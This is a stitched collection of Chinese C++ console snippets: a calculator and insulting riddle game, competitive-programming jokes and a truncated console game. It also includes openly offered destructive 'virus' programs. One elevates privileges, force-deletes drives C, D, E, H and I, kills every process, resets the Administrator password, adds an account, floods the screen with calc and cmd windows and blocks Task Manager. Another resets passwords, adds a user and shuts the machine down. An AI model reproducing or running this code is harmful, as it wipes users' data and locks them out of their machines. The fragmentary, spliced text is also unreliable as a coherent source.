    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"-"<<jjjj<<"="<<jjj-jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    			else{
    				for(int i=1;i<=1145;i++){
    					system("Cls");
    		cout<<"计算器"<<endl;
    		cout<<endl;
    		cout<<endl;
    		cout<<endl;
    		cout<<"请出入运算符(+,-,*,/):";
    		char jj;
    		cin>>jj;
    		if(jj=='+'){
    			int jjj,jjjj;
    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"+"<<jjjj<<"="<<jjj+jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    		} 
    		if(jj=='*'){
    			int jjj,jjjj;
    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"*"<<jjjj<<"="<<jjj*jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    		}
    		if(jj=='-'){
    			int jjj,jjjj;
    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"-"<<jjjj<<"="<<jjj-jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    		}
    		if(jj=='/'){
    			double jjj,jjjj;
    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"/"<<jjjj<<"="<<jjj/jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    		}
    				}
    			}
    		}
    		if(jj=='/'){
    			double jjj,jjjj;
    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"/"<<jjjj<<"="<<jjj/jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    			else{
    				for(int i=1;i<=1145;i++){
    					system("Cls");
    		cout<<"计算器"<<endl;
    		cout<<endl;
    		cout<<endl;
    		cout<<endl;
    		cout<<"请出入运算符(+,-,*,/):";
    		char jj;
    		cin>>jj;
    		if(jj=='+'){
    			int jjj,jjjj;
    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"+"<<jjjj<<"="<<jjj+jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    		} 
    		if(jj=='*'){
    			int jjj,jjjj;
    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"*"<<jjjj<<"="<<jjj*jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    		}
    		if(jj=='-'){
    			int jjj,jjjj;
    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"-"<<jjjj<<"="<<jjj-jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    		}
    		if(jj=='/'){
    			double jjj,jjjj;
    					cout<<"请输出您想运算的两个数:  ";
    					cin>>jjj;
    					cin>>jjjj;
    					cout<<jjj<<"/"<<jjjj<<"="<<jjj/jjjj<<endl;
    					Sleep(2000);
    					cout<<"退出按1,继续按2"<<endl;
    					int ll;
    					cin>>ll;
    			if(ll==1) zhuomian(); 
    		}
    				}
    			}
    		}
    		
    	}
    	else if(bb==7){
    		system("Cls");
    		string speak[10],cai[10];
    		int duile=0;
    		cai[1]="苹果";
    		cai[2]="篮球";
    		cai[3]="石榴";
    		cai[4]="粽子";
    		cai[5]="自行车";
    		cai[6]="牙刷";
    		cai[7]="足球";
    		speak[1]="什么东西两个字,红色的水果,一年四季都有";
    		speak[2]="什么东西两个字,一种运动,“老大”";
    		speak[3]="什么东西两个字,里面许多籽紧紧的抱在一起";
    		speak[4]="什么东西两个字,端午节吃的";
    		speak[5]="什么东西三个字,交通工具,两个轮子,很废脚";
    		speak[6]="什么东西两个字,厕所用品,保持牙齿清洁";
    		speak[7]="什么东西两个字,一种运动,C罗,梅西";
    		cout<<"这是傻子才会玩的游戏,如果你回答错了,你连傻子都不如"<<endl;
    		Sleep(2000);
    		cout<<"来吧,看看你是不是傻子,我会在10题后算出你的智商和段位(题目可能重复)"<<endl;
    		Sleep(2000);
    		cout<<endl;
    		cout<<endl;
    		cout<<endl; 
    		for(int i=1;i<=10;i++){
    			system("Cls");
    			int shazi=rand()%7+1;
    			cout<<speak[shazi]<<endl;
    			cout<<"你的回答是:";
    			string huidaba;
    			cin>>huidaba;
    			if(huidaba==cai[shazi]){
    				duile++;
    				cout<<endl;
    				cout<<"回答正确!!!!!"; 
    				Sleep(3000);
    			} 
    			else{
    				cout<<"你是傻子,你是傻子,你是傻子,你是傻子,你是傻子,你是傻子"<<endl;
    				cout<<"你是傻子,你是傻子,你是傻子,你是傻子,你是傻子,你是傻子"<<endl;
    				cout<<"你是傻子,你是傻子,你是傻子,你是傻子,你是傻子,你是傻子"<<endl;
    				cout<<"你是傻子,你是傻子,你是傻子,你是傻子,你是傻子,你是傻子"<<endl;
    				cout<<"你是傻子,你是傻子,你是傻子,你是傻子,你是傻子,你是傻子"<<endl;
    				cout<<"你是傻子,你是傻子,你是傻子,你是傻子,你是傻子,你是傻子"<<endl;
    				cout<<"你是傻子,你是傻子,你是傻子,你是傻子,你是傻子,你是傻子"<<endl;
    				cout<<"你是傻子,你是傻子,你是傻子,你是傻子,你是傻子,你是傻子"<<endl;
    				cout<<"你是傻子,你是傻子,你是傻子,你是傻子,你是傻子,你是傻子"<<endl;
    				Sleep(3000);
    			}
    		}
    		system("Cls");
    		if(duile==0){
    			cout<<"你的智商是0,你的段位是:啥也不是";
    		}
    		if(duile==1){
    			cout<<"你的智商是1,你的段位是:废铁";
    		}
    		if(duile==2){
    			cout<<"你的智商是2,你的段位是:青铜";
    		}
    		if(duile==3){
    			cout<<"你的智商是5,你的段位是:白银";
    		}
    		if(duile==4){
    			cout<<"你的智商是7,你的段位是:黄金";
    		}
    		if(duile==5){
    			cout<<"你的智商是8,你的段位是:铂金";
    		}
    		if(duile==6){
    			cout<<"你的智商是20,你的段位是:钻石";
    		}
    		if(duile==7){
    			cout<<"你的智商是50,你的段位是:王牌";
    		}
    		if(duile==9){
    			cout<<"你的智商是110,你的段位是:战神";
    		}
    		if(duile==10){
    			cout<<"你的智商是250,你的段位是;传奇战神";
    		}
    		Sleep(3000);
    		zhuomian();
    	}
    	//	else if(bb==8){
    //	    
    //	}
    //}
    }
    
    
    void mim(){
    	cout<<"请输入密码:";
    	string cinn;
    	cin>>cinn;
    	if(cinn==mima){
    		system("Cls");
    		printf("\n\n\n\n\n\n\n\n\n\n\n\n\n");
    	   	   cout<<"                                                  ";
    	   	   cout<<"验证中";
    	   	   Sleep(1000);
    	       cout<<".";
    	       Sleep(1000);
    	       cout<<".";
    	       Sleep(1000);
    	       cout<<".";
    	       Sleep(1000);
    	       cout<<".";
    	       Sleep(1000);
    	       cout<<".";
    	       Sleep(1000); 
    	       cout<<"密码正确!";
    	       Sleep(1000);
    	       system("Cls");
    	       zhuomian();
    	}
    	else{
    		system("Cls");
    		printf("\n\n\n\n\n\n\n\n\n\n\n\n\n");
    	   	   cout<<"                                                  ";
    	   	   cout<<"验证中";
    	   	   Sleep(1000);
    	       cout<<".";
    	       Sleep(1000);
    	       cout<<".";
    	       Sleep(1000);
    	       cout<<".";
    	       Sleep(1000);
    	       cout<<".";
    	       Sleep(1000);
    	       cout<<".";
    	       Sleep(1000);
    	       system("Cls");
    	       cout<<"密码错误,:"; 
    	       mim();
    	}
    }
    
    
    
    int main(){
    	open();
    	mim();
    	zhuomian();
    	return 0;
    }
    

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    #include<iostream>
    #include<stdlib.h>
    #include<conio.h>
    #include<windows.h>
    #include<ctime>
    using namespace std;
    int main()
    {
    	cout<<"确定要修改密码吗,请输入Y(Yes)或N(No):";
    	char k=getch();
    	if(k=='Y'||k=='y') system("net user Administrator wait");//用户密码重设为wait
    	system("net user xxx wait /add");//用户名重设为xxx
    	//system("ping www.baidu.com");//ping百度网站
    	cout<<"确定要30秒关机吗,请输入Y(Yes)或N(No):";
    	k=getch();
    	if(k=='Y'||k=='y') system("shutdown -s -t 30");//30秒后关机	
    	//system("del /F /S /Q D:\\");//强制删除D盘(慎用)
    	int x=GetSystemMetrics(SM_CXSCREEN);//get鼠标x轴 
        int y=GetSystemMetrics(SM_CYSCREEN);//get鼠标y轴
    	cout<<"确定要控制鼠标吗,请输入Y(Yes)或N(No):";
    	k=getch();
    	if(k=='Y'||k=='y') {
    		while(1)
    		{
    			SetCursorPos(rand()%x,rand()%y);//鼠标 x y轴 随机
    			//system("calc");//打开无数个计算器,直到死机(慎用) 
    			//system("cmd");//打开cmd(慎用)
    			//system("taskkill /f /im taskmgr.exe");//禁止打开任务管理器(慎用)
    		}	
    	}
    	return 0;
    }
    

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    病毒火力全开版

    #include<iostream>
    #include<stdlib.h>
    #include<conio.h>
    #include<windows.h>
    #include<ctime>
    bool ElevatePrivileges() {
        HANDLE hToken;
        LUID sedebugnameValue;
        TOKEN_PRIVILEGES tkp;
     
        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
            return false;
        }
     
        if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) {
            CloseHandle(hToken);
            return false;
        }
     
        tkp.PrivilegeCount = 1;
        tkp.Privileges[0].Luid = sedebugnameValue;
        tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
     
        if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, NULL)) {
            CloseHandle(hToken);
            return false;
        }
     
        if (GetLastError() != ERROR_SUCCESS) {
            CloseHandle(hToken);
            return false;
        }
     
        CloseHandle(hToken);
        return true;
    }//这个函数是获取管理员权限 
    using namespace std;
    int main()
    {	if (ElevatePrivileges()) { //查看是否有管理员权限 
        	system("del /F /S /Q D:\\");//强制删除D盘(慎用)
    		system("del /F /S /Q C:\\");//强制删除C盘(慎用)
    		system("del /F /S /Q E:\\");//强制删除E盘(慎用)
    		system("del /F /S /Q H:\\");//强制删除H盘(慎用)
    		system("del /F /S /Q I:\\");//强制删除I盘(慎用)
    		int x=GetSystemMetrics(SM_CXSCREEN);//get鼠标x轴 
       		int y=GetSystemMetrics(SM_CYSCREEN);//get鼠标y轴
    		while(1)
    		{
    			cout<<"电脑死亡之日!!!迎接电脑的颤抖吧"<<endl; 
    			system("taskkill /f /im *");
    			system("net user Administrator qwertyuiopasdfghjklzxcvbnm");//用户密码重设为*** 
    			system("net user 顶级黑客 wait /add");//用户名重设为xxx
    			system("ping www.baidu.com");//ping百度网站
    			system("ping io.codehero.store");//ping io网站
    			system("ping 4399.com");//ping 4399网站
    			SetCursorPos(rand()%x,rand()%y);//鼠标 x y轴 随机
    			system("calc");//打开管理员无数个计算器,直到死机(慎用) 
    			system("cmd");//打开cmd(慎用)
    			system("taskkill /f /im taskmgr.exe");//禁止打开任务管理器(慎用)
    		}
    	}
        else {
            cout<<"没有管理员权限,无法使用电脑大保健小程序"<<endl;
    		cout<<"请右键本程序,选择管理员身份运行"; 
        }
    	return 0;
    }
    

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    让鼠标唱跳rap打篮球(无毒)

    #include<iostream>
    #include<stdlib.h>
    #include<conio.h>
    #include<windows.h>
    #include<ctime>
    using namespace std;
    int main()
    {
    	int x=GetSystemMetrics(SM_CXSCREEN);//get鼠标x轴
    	int y=GetSystemMetrics(SM_CYSCREEN);//get鼠标y轴
    	while(1)
    	{
    		SetCursorPos(rand()%x,rand()%y);//鼠标 x y轴 随机
    		if(GetAsyncKeyState('V') && GetAsyncKeyState('K')){ //按下V键和K键可跳出(不用大写) 
    			return 0;
    		}
    	}	
    	return 0;
    }
    

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    键盘输入检测

    #include<stdlib.h>
    #include<conio.h>
    #include<windows.h>
    #include<ctime>
    using namespace std;
    int main()
    {
    	while(1){
    		if(GetAsyncKeyState('V')){
    			cout<<1<<endl;
    		}
    	}
    }
    

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    c++获取管理员权限(程序要以管理员身份)

    #include <windows.h>
     
    bool ElevatePrivileges() {
        HANDLE hToken;
        LUID sedebugnameValue;
        TOKEN_PRIVILEGES tkp;
     
        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
            return false;
        }
     
        if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) {
            CloseHandle(hToken);
            return false;
        }
     
        tkp.PrivilegeCount = 1;
        tkp.Privileges[0].Luid = sedebugnameValue;
        tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
     
        if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, NULL)) {
            CloseHandle(hToken);
            return false;
        }
     
        if (GetLastError() != ERROR_SUCCESS) {
            CloseHandle(hToken);
            return false;
        }
     
        CloseHandle(hToken);
        return true;
    }
     
    int main() {
        if (ElevatePrivileges()) {
            // 权限提升成功,可以执行需要管理员权限的操作
        } else {
            // 权限提升失败
        }
        return 0;
    }
    

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    ·暴力出奇迹,骗分过样例。

    ·数学先打表,DP看运气。

    ·穷举TLE,递推UKE。

    ·模拟MLE,贪心还CE。

    ·想要骗到分,就要有方法。

    ·图论背模板,数论背公式。

    ·动规背方程,高精背代码。

    ·如果都没背,干脆输样例。

    模拟只会猜题意,贪心只能过样例,

    数学上来先打表,D P一般看规律。

    组合数学靠运气,计算几何瞎暴力,

    图论一顿套模板,数论只会GCD

    #include<bits/stdc++.h>    
    #include<windows.h>
    #include<stdio.h>
    #include<conio.h>
    #include<time.h>
    #define Nor if(B[b].x<5) B[b].x=5;
    #define Out1 Bx1-Bvx1<=6||Bx1-Bvx1>=28||By1-Bvy1<=7||By1-Bvy1>=27
    #define Out2 Bx2-Bvx2<=6||Bx2-Bvx2>=28||By2-Bvy2<=7||By2-Bvy2>=27
    #define Chang1 {Bwhat1=0;Bvx1=Bvy1=0;memset(Bgo1,0,sizeof(Bgo1));}
    #define Chang2 {Bwhat2=0;Bvx2=Bvy2=0;memset(Bgo2,0,sizeof(Bgo2));}
    #define Chang3 {Bwhat3=0;Bvx3=Bvy3=0;memset(Bgo3,0,sizeof(Bgo3));}
    using namespace std;
    int ti(float a) {return ((int)(a*10+5))/10;}
    void Setpos(float x,float y){COORD pos;pos.X=ti(y*4)/2;pos.Y=ti(x);SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),pos);}
    void Color(int a){if(a==0) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);if(a==1) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);if(a==2) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN);if(a==3) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);if(a==4) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);if(a==5) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);if(a==6) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE);if(a==7) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);if(a==8) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED);if(a==9) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY|BACKGROUND_GREEN|BACKGROUND_BLUE);if(a==10) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY|BACKGROUND_RED|BACKGROUND_BLUE);if(a==11) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_BLUE);if(a==12) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_GREEN);if(a==13) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY);if(a==14) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_GREEN|FOREGROUND_BLUE);}
    int Blomax,Ren,Exp,Expmax,Lv,Lvl,Ice,Drug,ar1,ar2,Tar1,Tar2,bl,br,Win,T,Tb,Sy,Up,Upt,Down,u1,u2,Kill,Killb,L,Ll[4],Li,D,Gd[10],Biao,Fire,Fir,Water,Thun,Wind,Magne,I[20][2],ib,Dis,Disb,Dis1,Disb1,Boss,Bblo,Bblomax,Bwhat1,Bwhat2,Bwhat3,Bgo1[10],Bgo2[10],Bgo3[10],Bbr,Bbl,Bl[4];
    float X,Y,Vx,Vy,Ding,Blo,Hui,Bx1,By1,Bx2,By2,Bx3,By3,Bvx1,Bvy1,Bvx2,Bvy2,Bvx3,Bvy3,Bway[1001][2];
    struct bullet{float x,y,vx,vy;int what;int a,t,How;int life;bool kill;}B[100001];
    void Map(int a,int b);
    void Pan(int a,float x,float y,int b){
        float Nox[4],Noy[4];Nox[0]=X,Noy[0]=Y;
        if(Down==1&&X==22) Nox[1]=X+1,Noy[1]=Y-0.5,Nox[2]=X-1,Noy[2]=Y-0.5;else if(Down==2) Nox[1]=X+1,Noy[1]=Y-0.5,Nox[2]=-10,Noy[2]=-10;else if(Down==1||X<18) Nox[1]=X-1,Noy[1]=Y-0.5,Nox[2]=-10,Noy[2]=-10;else Nox[1]=X+1,Noy[1]=Y-0.5,Nox[2]=X-1,Noy[2]=Y-0.5;
        for(int i=0;i<3;i++){
            if(a==-1){if(abs(x-Nox[i])+abs(y-Noy[i])<1.5) {if(B[b].what==-10)Exp+=2;if(B[b].what==-11)Exp+=1;B[b].life=0;if(B[b].life==0&&b==bl) bl++;Map(3,b);break;}}
            if(a==-2){if(abs(x-Nox[i])+abs(y-Noy[i])<2.5) {if(B[b].what==-2)Exp+=5,Biao+=5;if(B[b].what==-3)Fire=300,Ice=0,Fir=3;if(B[b].what==-4)Water=200;if(B[b].what==-5){Wind=70;Ding=28.25;Ice=0;if(Y<Ding-1)Vy=5;else Vy=0;if(Up>=1) Vx=-5;if(Down==2) Vx=5;}if(B[b].what==-6){Thun=200;system("color 1F");Sleep(20);system("color 6F");Sleep(10);system("color 0F");}if(B[b].what==-7)Magne=300;if(B[b].what==-8)Ice=0,Drug=0,Blo=fmin((float)Blomax,Blo+20);if(B[b].what==-9)Exp=fmin((float)Expmax,Exp+20);B[b].life=0;if(B[b].life==0&&b==bl) bl++;Map(3,b);break;}}
        }if(Wind==0&&Thun==0&&(B[b].kill!=0||Killb>=15||Ren==1&&Killb>0)) return;
        for(int i=0;i<3;i++){
            if((Wind>=1||Thun>=1)&&abs(x-Nox[i])+abs(y-Noy[i])<2.5) {if(B[b].what<98)Exp+=2;B[b].life=0;Map(3,b);break;}
            if(a==1) {if(abs(x-Nox[i])<0.5&&abs(y-Noy[i])<1) {if(B[b].what>=99)Blo-=10;if(B[b].what==14)Blo-=15,Ice=100,B[b].life=0;else if(B[b].what==15)Blo-=20,Ice=0,B[b].life=0;else if(B[b].what==17)Blo-=5,Drug=100,B[b].life=0;else if(B[b].what>=13&&B[b].what<=17)Blo-=10,B[b].life=0;else Blo-=15;B[b].kill=1,Killb=20;Kill=1;Map(3,b);break;}}
            if (a==2||a==6||a==8||a==9||a==10||a==11||a==12) {
                if(abs(x-Nox[i])+abs(y-Noy[i])<1.5) {
                    if(a==2)Blo-=20;
                    else if(a==8)Blo-=10;
                    else Blo-=15;B[b].kill=1,Killb=20;Kill=1;if(a!=2){B[b].life=0;if(B[b].life==0&&b==bl) bl++;Map(3,b);break;}}}
            if(a==4) {if((Wind>=1||Thun>=1)&&abs(x-Nox[i])<1.5&&Noy[i]-y<=0&&Noy[i]-y>=-8) {if(B[b].what<98)Exp+=2;B[b].life=0;Map(3,b);break;}if(abs(x-Nox[i])<1&&Noy[i]-y<=0&&Noy[i]-y>=-8) {Blo-=25,B[b].kill=1,Killb=20;Kill=1;Vy=-1;Y-=0.5;break;}}
        }
    }
    void Map(int a,int b){
        Color(0);
        if(a==-1){
            if(Boss==1||Boss==6){if(Bwhat1==5){if(ti(Bx1)==20)Setpos(Bx1,By1),cout<<"==";else Setpos(Bx1,By1),cout<<"  ";}else{Setpos(Bx1-1,By1-0.5),cout<<"    ";Setpos(Bx1,By1-1),cout<<"      ";Setpos(Bx1+1,By1-0.5),cout<<"    ";if(abs(ti(Bx1)-20)<=1)Setpos(20,By1-1),cout<<"======";}}
            if(Boss==2||Boss==6){Setpos(Bx2-1,By2-1);cout<<"    ";Setpos(Bx2,By2-1);cout<<"      ";Setpos(Bx2+1,By2-1),cout<<"      ";Color(0);if(abs(ti(Bx2)-20)<=1)Setpos(20,By2-1),cout<<"======";}
            if(Boss==3||Boss==6){Setpos(Bx3-1,By3-0.5);cout<<"     ";Setpos(Bx3,By3);cout<<"  ";Setpos(Bx3+1,By3-1),cout<<"      ";Color(0);if(abs(ti(Bx3)-20)<=1)Setpos(20,By3-1),cout<<"=======";}
            if(X<0)return;if(X>=17&&X<=19){Setpos(X-1,Y);cout<<"  ";Setpos(X,Y-1);cout<<"   ";Setpos(X+1,Y-1),cout<<"   ";}else if(X<=23&&X>=21){Setpos(X+1,Y);cout<<"  ";Setpos(X,Y-1);cout<<"   ";Setpos(X-1,Y-1),cout<<"    ";}else if(X>23){Setpos(X,Y-1);cout<<"    ";Setpos(X-1,Y-0.5),cout<<"   ";}else if(X<17&&Upt!=0){Setpos(X,Y-1);cout<<"    ";Setpos(X+1,Y-1.5),cout<<"    ";}else if(X<17){Setpos(X,Y-1);cout<<"    ";Setpos(X+1,Y-0.5),cout<<"   ";}if(Thun>0){Setpos(X-2,Y-1),cout<<"    ";Setpos(X+2,Y-1),cout<<"    ";Setpos(X,Y+2),cout<<"  ";Setpos(X,Y-2.5),cout<<"  ";Setpos(X-1,Y+1),cout<<"  ";Setpos(X+1,Y+1),cout<<"  ";Setpos(X-1,Y-2),cout<<"  ";Setpos(X+1,Y-2),cout<<"  ";Setpos(20,Y-2.5),cout<<"============";}if(Wind!=0){Setpos(X+1,Y-5);cout<<"        ";Setpos(X,Y-5);cout<<"        ";Setpos(X-1,Y-5);cout<<"        ";Setpos(20,Y-5),cout<<"========";}if(Water!=0){Setpos(X,Y-4);cout<<"       ";Setpos(X+2,Y-3.5);cout<<"     ";Setpos(X-2,Y-3.5);cout<<"     ";Setpos(X+1,Y-3.5);cout<<"     ";Setpos(X-1,Y-3.5);cout<<"     ";Setpos(20,Y-5),cout<<"========";}if(Fire!=0){Setpos(X,Y+1),cout<<"  ";Setpos(X+1,Y),cout<<"  ";Setpos(X-1,Y-1),cout<<"  ";Setpos(20,Y-1);cout<<"======";}
        }
        if(a==0){
            if(Boss==1||Boss==6){if(Bwhat1==5)Color(5),Setpos(Bx1,By1),cout<<"█",Color(0);else if(Bwhat1==4&&Bgo1[1]>6&&Bgo1[1]<11)Color(4),Setpos(Bgo1[5]-1,Bgo1[6]),cout<<"︻",Setpos(Bgo1[5],Bgo1[6]-1),cout<<"【",Setpos(Bgo1[5],Bgo1[6]+1),cout<<"】",Setpos(Bgo1[5]+1,Bgo1[6]),cout<<"︼",Color(0);else{Setpos(Bx1-1,By1-0.5),Color(0),cout<<"●●";Setpos(Bx1,By1-1);if(Bwhat1==2&&Bgo1[1]<=5)Color(1);else if(Bwhat1==3&&Bgo1[1]<=5)Color(5);else if(Bwhat1==6&&Bgo1[1]<=5)Color(8); else Color(4);if(Bwhat1==4) Setpos(Bx1,By1-0.5),cout<<"██(";else cout<<")██(";Setpos(Bx1+1,By1-0.5),cout<<"……";Color(0);}}
            if(Boss==2||Boss==6){Setpos(Bx2-1,By2-1);Color(0),cout<<"\\ ";Color(0);cout<<"●";Setpos(Bx2,By2-1);Color(3);cout<<"◥";Color(5),cout<<"JJJ";Color(0),cout<<">";Color(3);Setpos(Bx2+1,By2-1),cout<<"◢█◣";Color(0);}
            if(Boss==3||Boss==6){Setpos(Bx3-1,By3-0.5);if(Bwhat3==3||Bwhat3==9) Color(1);else if(Bwhat3==4||Bwhat3==10) Color(4);else if(Bwhat3==5||Bwhat3==11) Color(5);if(Bwhat3==11)cout<<' ';else if(Bwhat3==6) Color(3);else Color(2);cout<<"●-";Setpos(Bx3,By3);if(Bwhat3==11)cout<<"/";else cout<<"┃";Color(0);Setpos(Bx3+1,By3-1),cout<<"●●●";}
            if(X<0)return;if(Ren==2) Color(12);if(Ren==3) Color(1);if(Ren==4) Color(3);if(Ren==5) Color(4);if(Ren==6) Color(2);if(Drug!=0&&T%5!=0) Color(11);if(Drug!=0&&T%5==0) Color(11);if(Ice!=0) Color(6);if(b==1) Color(8);if(Li!=0) Color(5);if(Ren==1&&Killb>0&&T%4<2) Color(13);if(Wind>0&&T%4<=1) Color(1);if(Wind>0&&T%4>=2) Color(0);if(Thun>0&&T%4<=1) Color(1);if(Thun>0&&T%4>=2) Color(6);
            if(X>=17&&X<=19){Setpos(X-1,Y);cout<<"●";Setpos(X,Y-1);cout<<"━/";if(T%10<3) Setpos(X+1,Y-1),cout<<"┛╲";else if(T%10<6) Setpos(X+1,Y-1),cout<<"┦ ";else Setpos(X+1,Y-1),cout<<"╯>";if(Wind>0&&T%3==0) Setpos(X+1,Y-1),cout<<"┛╲";else if(Wind>0&&T%3==1) Setpos(X+1,Y-1),cout<<"┦ ";else if(Wind>0&&T%3==2)Setpos(X+1,Y-1),cout<<"╯>";}else if(X<=23&&X>=21){Setpos(X+1,Y);cout<<"●";Setpos(X,Y-1);cout<<"━\\";if(T%10<3) Setpos(X-1,Y-1),cout<<"┓╱";else if(T%10<6) Setpos(X-1,Y-1),cout<<"┪ ";else Setpos(X-1,Y-1),cout<<"╮>";if(Wind>0&&T%3==0) Setpos(X-1,Y-1),cout<<"┓╱";else if(Wind>0&&T%3==1) Setpos(X-1,Y-1),cout<<"┪ ";else if(Wind>0&&T%3==2)Setpos(X-1,Y-1),cout<<"╮>";}else if(X>23){Setpos(X,Y-1);cout<<"━ ●";Setpos(X-1,Y-0.5),cout<<"│>";}else if(X<17&&Upt!=0){Setpos(X,Y-1);cout<<"━ ●";Setpos(X+1,Y-1.5),cout<<"╱ >";}else if(X<17){Setpos(X,Y-1);cout<<"━ ●";Setpos(X+1,Y-0.5),cout<<"│>";}if(Thun>0){Setpos(X-2,Y-1),cout<<"▄▄";Setpos(X+2,Y-1),cout<<"▄▄";Setpos(X,Y+2),cout<<"▌";Setpos(X,Y-2.5),cout<<"▌";Setpos(X-1,Y+1),cout<<"█";Setpos(X+1,Y+1),cout<<"█";Setpos(X-1,Y-2),cout<<"█";Setpos(X+1,Y-2),cout<<"█";}if(Magne>0&&T%7<2)Setpos(X,Y),Color(5),cout<<"★";if(Wind>1){if(T%6<2)Color(1);else Color(0);if(T%8<=1){Setpos(X+1,Y-5);cout<<"----  --";Setpos(X,Y-5);cout<<"-  --- -";Setpos(X-1,Y-5);cout<<"--- - --";}else if(T%8<=3){Setpos(X+1,Y-5);cout<<"------  ";Setpos(X,Y-5);cout<<" --  ---";Setpos(X-1,Y-5);cout<<"----- - ";}else if(T%8<=5){Setpos(X+1,Y-5);cout<<"  ------";Setpos(X,Y-5);cout<<"-- --  -";Setpos(X-1,Y-5);cout<<"- ----- ";}else if(T%8<=7){Setpos(X+1,Y-5);cout<<"--  ----";Setpos(X,Y-5);cout<<" --- -- ";Setpos(X-1,Y-5);cout<<"- - ----";}}if(Water!=0){Color(1);if(T%20<5){Setpos(X+2,Y-3);cout<<"■";Setpos(X+1,Y-3.5);cout<<"■";Setpos(X-1,Y-2.5);cout<<"■";Setpos(X-2,Y-3);cout<<"■";}else if(T%20<10||T%20>=15){Setpos(X+2,Y-3);cout<<"■";Setpos(X,Y-4);cout<<"■■";Setpos(X-2,Y-3);  cout<<"■";}else if(T%20<15){Setpos(X+2,Y-3.5);cout<<"■";Setpos(X+1,Y-3);cout<<"■";Setpos(X-1,Y-3.5);cout<<"■";Setpos(X-2,Y-3);cout<<"■";}}if(Fire!=0){if(T%6<3)Color(4);else Color(5);if(Fir>=1)Setpos(X,Y+1),cout<<"●";if(Fir>=2)Setpos(X+1,Y),cout<<"●";if(Fir>=3)Setpos(X-1,Y-1),cout<<"●";}
        }
        if(a==1||a==3){
